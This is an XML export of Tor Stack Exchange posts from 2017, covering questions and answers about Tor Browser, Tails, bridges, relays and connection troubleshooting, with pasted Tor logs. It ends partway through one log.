  <row Id="13970" PostTypeId="2" ParentId="1480" CreationDate="2017-02-07T17:54:52.260" Score="0" Body="&lt;p&gt;What you are looking for is Subgraph OS. It routes all traffic through Tor like Tails, but is meant to be installed on a hard drive. It offers sandboxing and many other security techniques to make it secure against exploits. I use this on my computers it is the best.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you use Tails the advantages comes with the amenesic properties. Installed on a Hard Drive you lose all those benefits. &lt;/p&gt;&#xA;" OwnerUserId="16193" LastActivityDate="2017-02-07T17:54:52.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13971" PostTypeId="2" ParentId="13966" CreationDate="2017-02-07T18:04:38.707" Score="1" Body="&lt;p&gt;A VPN is best for your case I imagine. All the programs beside your browser knows who you are and probably phones home. This just puts more load on Tor than nessasary. It could obscure how much data you are using browsing(to fight correlation), but the VPN would offer the same(The VPN is much less likely to turn over logs than Facebook and Google would to assist in correlation). And they could have access to Google and Facebook servers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google Services spys on the apps you use and it is possible it watches data and collects data that could be used to fingerprint your browser. If you want a secure phone ideally should use a Nexus 5X or 6P with Copperhead OS. If you can't get your hands on one of those Lineage OS with no Gapps could be effective. However, Android has many security flaws coming out all the time. Do not rely on this for anything confidential. &lt;/p&gt;&#xA;" OwnerUserId="16193" LastActivityDate="2017-02-07T18:04:38.707" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13972" PostTypeId="1" CreationDate="2017-02-07T18:09:16.660" Score="0" ViewCount="140" Body="&lt;p&gt;I've installed tor yesterday and it's been working ok. But I noticed today that chrome, skype and spotify work. I can only connect to the internet through tor. Is this tor's fault or totally unrelated? Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="16194" LastActivityDate="2017-06-08T03:15:21.353" Title="Normal internet doesn't work" Tags="|help|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13973" PostTypeId="1" CreationDate="2017-02-07T18:52:01.840" Score="0" ViewCount="4489" Body="&lt;p&gt;From my understanding Ublock Origin in Tails will add to the fingerprinting(websites can tell) and it opens up a new attack vector. The filters if compromised could add javascript to any website. Also, someone could think they are improving security and add an HTTP filters on that list which would open them to an attack whether it was comprimised or not. It obviously comes out of date, if someone updates the filters that will add to the fingerprinting(quite possibly you could fingerprint ad blockers by how up to date they are. Did the Tails developers lose their minds?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor users also generate revenue for websites by showing ads. If you block ads you add a huge incentive to block Tor users that wasn't there before. &lt;/p&gt;&#xA;" OwnerUserId="16193" LastActivityDate="2017-02-07T21:32:32.027" Title="Tails added Ublock Origin is this as bad as it looks?" Tags="|tor-browser-bundle|tails|fingerprinting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13974" PostTypeId="1" AcceptedAnswerId="13980" CreationDate="2017-02-07T19:29:49.680" Score="1" ViewCount="126" Body="&lt;p&gt;Will NoScript continue to offer the advanced functions we are used to. Will HTTPS Everywhere still offer the Observatory? &lt;/p&gt;&#xA;" OwnerUserId="16195" LastActivityDate="2017-02-08T00:54:01.980" Title="Firefox is dropping XUL what does this mean for Tor Browser?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13975" PostTypeId="2" ParentId="13973" CreationDate="2017-02-07T21:32:32.027" Score="2" Body="&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is no different from the fact that Tails used to ship with AdBlock Plus, it's just a different extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, it's fingerprintable but they can only tell you're using Tails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No, it doesn't open up new vectors. It isn't pulling down updates from the lists, everyone has the same lists, shipped with Tails itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No, people should not be pulling down updates or customizing it, that is problematic for all software and exactly why Tails is produced and shipped like it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lots of lazy websites block Tor without even noticing it and for no good reason. Most sites don't care about adblockers anyway because they simply don't constitute a big enough set of their user base. &lt;em&gt;P.S. death2capitalism.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-02-07T21:32:32.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13976" PostTypeId="1" CreationDate="2017-02-07T23:04:39.307" Score="0" ViewCount="28007" Body="&lt;p&gt;sometimes when downloading files through the tor browser i get speed like 2-3MB/sec. that looks suspicious when the usual speed is like 100KB/sec&lt;br&gt;&#xA;&lt;a href=&quot;https://check.torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://check.torproject.org&lt;/a&gt; shows that the browser is configured properly. can i somehow check if everything is all right? would debug logs or something help?&lt;/p&gt;&#xA;" OwnerUserId="16198" LastEditorUserId="88" LastEditDate="2017-05-09T09:39:50.660" LastActivityDate="2021-05-14T16:05:45.853" Title="download speed when using tor browser" Tags="|tor-browser-bundle|speed|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13977" PostTypeId="2" ParentId="13972" CreationDate="2017-02-08T00:48:24.643" Score="1" Body="&lt;p&gt;Tor is a standalone app by itself - it does not change a single network settings. To utilize it you are responsible to repatch your routes. So it's your setup that is needed to be corrected. If you'll add some details of what your OS is and what exactly you have done and what do you want to achieve - we'll be able to help you further&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-08T00:48:24.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13978" PostTypeId="2" ParentId="13976" CreationDate="2017-02-08T00:49:47.927" Score="1" Body="&lt;p&gt;it's totally OK and it was a fast chain case: tor is &lt;strong&gt;not&lt;/strong&gt; limiting the transfer speed in any way.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-08T00:49:47.927" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13979" PostTypeId="2" ParentId="13953" CreationDate="2017-02-08T00:51:51.030" Score="0" Body="&lt;p&gt;it is censorship, 99% sure because of &lt;code&gt;X connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE&lt;/code&gt; string in log. You need to use bridges &lt;em&gt;with&lt;/em&gt; pluggable transport - try meek transport, it's designed specially for such a cases&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-08T00:51:51.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13980" PostTypeId="2" ParentId="13974" CreationDate="2017-02-08T00:54:01.980" Score="0" Body="&lt;p&gt;These questions are important and relevant to Tor and privacy, but only the plugin's maintainers are able to answer you - they do control the functionalities of the add-ons: what will be, what won't be and how it will be. Ask them - on the Mozilla Firefox add-on description pages there're are contacts.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-08T00:54:01.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13981" PostTypeId="1" CreationDate="2017-02-08T03:43:13.473" Score="2" ViewCount="4482" Body="&lt;p&gt;Is there a difference (in terms of anonymity) between pressing &quot;New Identity&quot; and closing then reopening Tor Browser?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pressing the &quot;New Identity&quot; button takes &amp;lt; 1 second before being ready whereas closing and reopening the browser takes ~5 seconds&lt;/p&gt;&#xA;" OwnerUserId="16201" LastActivityDate="2017-02-08T23:38:23.793" Title="New Identity vs Reopening Browser" Tags="|tor-browser-bundle|anonymity|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13982" PostTypeId="2" ParentId="13796" CreationDate="2017-02-08T08:26:40.460" Score="1" Body="&lt;p&gt;As per @canonizing comment I installed obfs4 proxy with the following config and it's published:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitPolicy reject *:*&#xA;#Bridge config&#xA;RunAsDaemon 1&#xA;ORPort 1234&#xA;BridgeRelay 1&#xA;ServerTransportPlugin obfs3,obfs4 exec /usr/local/bin/obfs4proxy managed&#xA;ServerTransportListenAddr obfs3 [::]:443&#xA;ServerTransportListenAddr obfs4 [::]:80&#xA;ExtORPort auto&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;PublishServerDescriptor&lt;/code&gt; is by default enabled on bridges.&lt;/p&gt;&#xA;" OwnerUserId="6573" LastActivityDate="2017-02-08T08:26:40.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13986" PostTypeId="2" ParentId="13981" CreationDate="2017-02-08T23:38:23.793" Score="2" Body="&lt;p&gt;Effectively, they should be the same. The New Identity button is there to provide a clean instance of the Tor Browser, with various caches and other information cleared and new circuits.&lt;/p&gt;&#xA;&lt;p&gt;There is one exception to this, in systems like Tails or Whonix (where the Tor Browser is configured to use a pre-existing instance of the Tor daemon). In those cases you should prefer &lt;em&gt;New Identity&lt;/em&gt;, because &lt;em&gt;New Identity&lt;/em&gt; also sends the &lt;code&gt;NEWNYM&lt;/code&gt; signal to the Tor daemon which causes it to mark all existing circuits as 'dirty' (to avoid re-using circuits attached to the old identity) and clears out DNS and and Rendezvous caches on Tor itself (to avoid re-using cached and potentially tainted cached information from the old identity). In those cases &lt;em&gt;New Identity&lt;/em&gt; provides a more thorough unlinking of old and new activities than simply closing and re-opening the Tor Browser.&lt;/p&gt;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/#new-identity&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Browser Design Specification&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;First, Torbutton disables Javascript in all open tabs and windows by using both the &lt;code&gt;browser.docShell.allowJavascript&lt;/code&gt; attribute as well as &lt;code&gt;nsIDOMWindowUtil.suppressEventHandling()&lt;/code&gt;. We then stop all page activity for each tab using &lt;code&gt;browser.webNavigation.stop(nsIWebNavigation.STOP_ALL)&lt;/code&gt;. We then clear the site-specific Zoom by temporarily disabling the preference &lt;code&gt;browser.zoom.siteSpecific&lt;/code&gt;, and clear the GeoIP wifi token URL &lt;code&gt;geo.wifi.access_token&lt;/code&gt; and the last opened URL prefs (if they exist). Each tab is then closed.&lt;/p&gt;&#xA;&lt;p&gt;After closing all tabs, we then emit &lt;code&gt;&amp;quot;browser:purge-session-history&amp;quot;&lt;/code&gt; (which instructs addons and various Firefox components to clear their session state), and then manually clear the following state: searchbox and findbox text, HTTP auth, SSL state, OCSP state, site-specific content preferences (including HSTS state), content and image cache, offline cache, offline storage, Cookies, crypto tokens, DOM storage, the safe browsing key, and the Google wifi geolocation token (if it exists). We also clear NoScript's site and temporary permissions, and all other browser site permissions.&lt;/p&gt;&#xA;&lt;p&gt;After the state is cleared, we then close all remaining HTTP keep-alive connections and then send the &lt;code&gt;NEWNYM&lt;/code&gt; signal to the Tor control port to cause a new circuit to be created.&lt;/p&gt;&#xA;&lt;p&gt;Finally, a fresh browser window is opened, and the current browser window is closed (this does not spawn a new Firefox process, only a new window). Upon the close of the final window, an unload handler is fired to invoke the garbage collector, which has the effect of immediately purging any &lt;code&gt;blob:UUID&lt;/code&gt; URLs that were created by website content via &lt;code&gt;URL.createObjectURL&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2017-02-08T23:38:23.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13987" PostTypeId="2" ParentId="13966" CreationDate="2017-02-09T00:09:56.907" Score="3" Body="&lt;p&gt;A difficult question to answer decisively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tl;dr is that if you are performing highly sensitive activies you should not be doing them on the same device as your normal day to day activies. This is a concept called &lt;a href=&quot;https://en.wikipedia.org/wiki/Compartmentalization_%28information_security%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Compartmentalization&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To pull the answer straight from my own &lt;a href=&quot;https://github.com/epidemics-scepticism/tor-misconception#transparent-proxying-will-always-be-sub-optimal&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation on the subject&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When you take your whole operating system and stick it behind transparent proxying, everything goes over Tor if it can. Everything that goes over Tor will, by default, use the same circuit. Your operating system updates, your email, your browsing, and fetching information about media you play will all share the same circuit. The exit node could connect all of these things together and ascribe them to a single entity. This means things intended to be anonymous could be linked to things directly linked to your identity, or between psuedonyms.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;See also: the &lt;a href=&quot;https://www.whonix.org/w/images/f/fc/Stream_isolation.1.0.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;Whonix Stream Isolation Infographic&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another problem is that a lot of software is trash, it doesn't handle updates or fetching of content and files in any sane way. Again, from &lt;a href=&quot;https://github.com/epidemics-scepticism/tor-misconception#some-software-isnt-fit-for-purpose&quot; rel=&quot;nofollow noreferrer&quot;&gt;my own writing&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Some applications, even some security applications still check for and download unsigned updates over plaintext. This is not safe in any scenario but becomes a more obvious problem on Tor.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now, these applications aren't bad because of Tor. These applications are totally unfit for purpose on the internet &lt;em&gt;at all&lt;/em&gt; (ISPs get hacked, routers get rooted, wifi gets cracked, etc) but it &lt;em&gt;is&lt;/em&gt; far simpler for an attacker to gain a Man-in-the-Middle position through being an exit relay in a Tor circuit (or posing as a free VPN provider).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So generally, no. You don't want to just Tor everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The alternative (where everything is torified, isolated and audited to be free of leaks) is very difficult to setup and you should also consider lateral leaks of information (an application that you &lt;em&gt;don't&lt;/em&gt; torify might leak information outside of Tor about applications you &lt;em&gt;are&lt;/em&gt; torifying because they're running under the same operating system and can infer information from each other). So do you consider your local ISP or a potentially malicious exit relay operator a bigger threat? This depends on your situation, there is no definitive answer but Transparent Proxying everything will &lt;em&gt;always&lt;/em&gt; be &lt;em&gt;sub-optimal&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-02-09T00:09:56.907" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13988" PostTypeId="1" CreationDate="2017-02-09T00:21:46.203" Score="0" ViewCount="322" Body="&lt;p&gt;I need to wipe my Raspberry Pi and I want to keep the same identity keys tied to my relay (I guess this is the Fingerprint, right?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I understand that those keys are in the /var/lib/tor folder on Linux. Is that right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sadly, whether I use LXTerminal or the GUI, the access to such folder is denied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Tor 0.2.9.9... Could you please guide me backing up the files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks! :D&lt;/p&gt;&#xA;" OwnerUserId="16115" LastActivityDate="2017-07-12T22:02:01.657" Title="Can you help me backing up my identity keys? (Access denied?!)" Tags="|relays|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13991" PostTypeId="1" CreationDate="2017-02-09T15:09:26.947" Score="2" ViewCount="567" Body="&lt;p&gt;My Tor Browser version is 6.5 on Linux (but this was happening since at least 6.0.6, and possibly 6.0.5 on Windows but the system crashed so I can't confirm). It does not happen with the standalone Tor program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, my network connection fails frequently and must be manually restarted. If I have Tor Browser open, I have to close-and-reopen it because it's stuck loading any pages (just &quot;Connected to www.example.com&quot;) Until I get &quot;The connection has timed out&quot; error from Firefox backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor log (The network failed twice)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;02/09/2017 12:15:18.900 [NOTICE] Bootstrapped 85%: Finishing handshake with first hop &#xA;02/09/2017 12:15:19.400 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;02/09/2017 12:15:19.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;02/09/2017 12:15:19.400 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;02/09/2017 12:15:19.800 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;02/09/2017 12:15:22.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;02/09/2017 12:15:22.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;02/09/2017 12:15:22.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;02/09/2017 12:15:22.300 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;02/09/2017 12:15:23.500 [NOTICE] Bootstrapped 90%: Establishing a Tor circuit &#xA;02/09/2017 12:15:25.900 [NOTICE] Tor has successfully opened a circuit. Looks like client functionality is working. &#xA;02/09/2017 12:15:25.900 [NOTICE] Bootstrapped 100%: Done &#xA;02/09/2017 12:15:32.500 [NOTICE] New control connection opened from 127.0.0.1. &#xA;02/09/2017 12:15:33.000 [NOTICE] New control connection opened from 127.0.0.1. &#xA;02/09/2017 13:25:51.600 [NOTICE] No circuits are opened. Relaxed timeout for circuit 15 (a Measuring circuit timeout 3-hop circuit in state doing handshakes with channel state open) to 267350ms. However, it appears the circuit has timed out anyway. 1 guards are live. &#xA;02/09/2017 13:25:51.600 [NOTICE] Tor has not observed any network activity for the past 706 seconds. Disabling circuit build timeout recording. &#xA;!!02/09/2017 13:43:28.600 [NOTICE] Tried for 120 seconds to get a connection to [scrubbed]:443. Giving up. (waiting for circuit) &#xA;!!02/09/2017 13:46:28.600 [NOTICE] Tried for 120 seconds to get a connection to [scrubbed]:443. Giving up. (waiting for circuit) &#xA;02/09/2017 13:51:56.900 [NOTICE] Our IP address has changed.  Rotating keys... &#xA;02/09/2017 13:51:58.300 [NOTICE] Tor now sees network activity. Restoring circuit build timeout recording. Network was down for 2272 seconds during 3 circuit attempts. &#xA;02/09/2017 14:32:00.600 [NOTICE] Tried for 120 seconds to get a connection to [scrubbed]:443. Giving up. (waiting for circuit) &#xA;02/09/2017 14:34:38.600 [NOTICE] Tor has not observed any network activity for the past 1656 seconds. Disabling circuit build timeout recording. &#xA;02/09/2017 14:35:15.600 [NOTICE] No circuits are opened. Relaxed timeout for circuit 338 (a Measuring circuit timeout 3-hop circuit in state doing handshakes with channel state open) to 267350ms. However, it appears the circuit has timed out anyway. 0 guards are live. [4 similar message(s) suppressed in last 3600 seconds] &#xA;02/09/2017 14:54:28.300 [NOTICE] Our IP address has changed.  Rotating keys... &#xA;02/09/2017 14:54:30.100 [NOTICE] Tor now sees network activity. Restoring circuit build timeout recording. Network was down for 2847 seconds during 8 circuit attempts. &#xA;!!02/09/2017 14:56:23.600 [NOTICE] Tried for 120 seconds to get a connection to [scrubbed]:443. Giving up. (waiting for circuit) &#xA;!!02/09/2017 14:56:24.700 [NOTICE] Tried for 120 seconds to get a connection to [scrubbed]:443. Giving up. (waiting for circuit) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The entries with leading &quot;!!&quot; qre what I think are the problems (i.e. the relays). Is there anything I can do about this?&lt;/p&gt;&#xA;" OwnerUserId="14882" LastActivityDate="2018-07-07T00:17:40.727" Title="Why can't Tor Browser transfer data after modem/router restarted?" Tags="|relays|network-configuration|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13995" PostTypeId="1" CreationDate="2017-02-10T04:02:58.370" Score="4" ViewCount="1568" Body="&lt;p&gt;This is probably a simple issue but I cannot seem to figure it out. I can no longer like or retweet tweets using the Tor Browser. This started several days ago. The Android app works fine. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="16221" LastEditorUserId="107" LastEditDate="2017-03-20T16:19:39.980" LastActivityDate="2017-03-20T16:29:27.120" Title="Twitter &quot;Like&quot; and &quot;Retweet&quot; buttons don't work on Tor Browser anymore" Tags="|firefox|error|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13996" PostTypeId="1" CreationDate="2017-02-10T04:27:00.027" Score="0" ViewCount="4547" Body="&lt;p&gt;I don't know what else to do, i cant get Tor to connect. This is my error log&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2/9/2017 20:49:58 PM.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 20:49:58 PM.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 20:49:58 PM.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 20:49:58 PM.100 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;2/9/2017 20:49:58 PM.100 [NOTICE] Renaming old configuration file to &quot;C:\Users\zachary.t.hibbert\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\torrc.orig.1&quot; &#xA;2/9/2017 20:49:58 PM.500 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;2/9/2017 20:49:58 PM.700 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;2/9/2017 20:50:57 PM.200 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 10; recommendation warn; host 46791D156C9B6C255C2665D4D8393EC7DBAA7798 at 31.31.78.49:443) &#xA;2/9/2017 20:50:57 PM.200 [WARN] 10 connections have failed: &#xA;2/9/2017 20:50:57 PM.200 [WARN]  10 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;2/9/2017 20:51:06 PM.300 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;2/9/2017 20:51:06 PM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 20:51:06 PM.300 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;2/9/2017 20:51:06 PM.300 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;2/9/2017 20:51:24 PM.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 20:51:24 PM.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 20:51:24 PM.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 20:51:24 PM.000 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;2/9/2017 20:51:31 PM.500 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 11; recommendation warn; host A832D176ECD5C7C6B58825AE22FC4C90FA249637 at 154.35.22.11:16488) &#xA;2/9/2017 20:51:31 PM.600 [WARN] 11 connections have failed: &#xA;2/9/2017 20:51:31 PM.600 [WARN]  11 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;2/9/2017 20:51:33 PM.400 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;2/9/2017 20:51:33 PM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/9/2017 20:51:33 PM.400 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;2/9/2017 20:51:33 PM.400 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 12; recommendation warn; host FC259A04A328A07FED1413E9FC6526530D9FD87A at 85.17.30.79:443) &#xA;2/9/2017 20:51:33 PM.400 [WARN] 12 connections have failed: &#xA;2/9/2017 20:51:33 PM.400 [WARN]  11 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;2/9/2017 20:51:33 PM.400 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;2/9/2017 20:51:33 PM.400 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 13; recommendation warn; host 7B126FAB960E5AC6A629C729434FF84FB5074EC2 at 192.99.11.54:443) &#xA;2/9/2017 20:51:33 PM.400 [WARN] 13 connections have failed: &#xA;2/9/2017 20:51:33 PM.400 [WARN]  12 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;2/9/2017 20:51:33 PM.400 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;2/9/2017 20:51:33 PM.400 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 14; recommendation warn; host CDF2E852BF539B82BD10E27E9115A31734E378C2 at 192.95.36.142:443) &#xA;2/9/2017 20:51:33 PM.400 [WARN] 15 connections have failed: &#xA;2/9/2017 20:51:33 PM.400 [WARN]  13 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;2/9/2017 20:51:33 PM.400 [WARN]  1 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;2/9/2017 20:51:33 PM.400 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;2/9/2017 20:51:33 PM.400 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 15; recommendation warn; host A09D536DD1752D542E1FBB3C9CE4449D51298239 at 83.212.101.3:50002) &#xA;2/9/2017 20:51:33 PM.400 [WARN] 16 connections have failed: &#xA;2/9/2017 20:51:33 PM.400 [WARN]  13 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;2/9/2017 20:51:33 PM.400 [WARN]  2 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;2/9/2017 20:51:33 PM.400 [WARN]  1 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;2/9/2017 20:51:33 PM.400 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 16; recommendation warn; host C73ADBAC8ADFDBF0FC0F3F4E8091C0107D093716 at 154.35.22.9:80) &#xA;2/9/2017 20:51:33 PM.400 [WARN] 17 connections have failed: &#xA;2/9/2017 20:51:33 PM.400 [WARN]  14 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;2/9/2017 20:51:33 PM.400 [WARN]  2 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;2/9/2017 20:51:33 PM.400 [WARN]  1 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;2/9/2017 20:51:33 PM.400 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 17; recommendation warn; host BBB28DF0F201E706BE564EFE690FE9577DD8386D at 109.105.109.147:13764) &#xA;2/9/2017 20:51:33 PM.400 [WARN] 18 connections have failed: &#xA;2/9/2017 20:51:33 PM.400 [WARN]  14 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;2/9/2017 20:51:33 PM.400 [WARN]  3 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;2/9/2017 20:51:33 PM.400 [WARN]  1 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;2/9/2017 20:51:33 PM.400 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 18; recommendation warn; host 8DFCD8FB3285E855F5A55EDDA35696C743ABFC4E at 109.105.109.165:10527) &#xA;2/9/2017 20:51:33 PM.400 [WARN] 19 connections have failed: &#xA;2/9/2017 20:51:33 PM.400 [WARN]  14 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;2/9/2017 20:51:33 PM.400 [WARN]  4 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;2/9/2017 20:51:33 PM.400 [WARN]  1 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;2/9/2017 20:51:33 PM.400 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 19; recommendation warn; host 752CF7825B3B9EA6A98C83AC41F7099D67007EA5 at 198.245.60.50:443) &#xA;2/9/2017 20:51:33 PM.400 [WARN] 20 connections have failed: &#xA;2/9/2017 20:51:33 PM.400 [WARN]  15 connections died in state handshaking (Tor, v3 handshake) with SSL state SSL negotiation finished successfully in OPEN &#xA;2/9/2017 20:51:33 PM.400 [WARN]  4 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;2/9/2017 20:51:33 PM.400 [WARN]  1 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;2/9/2017 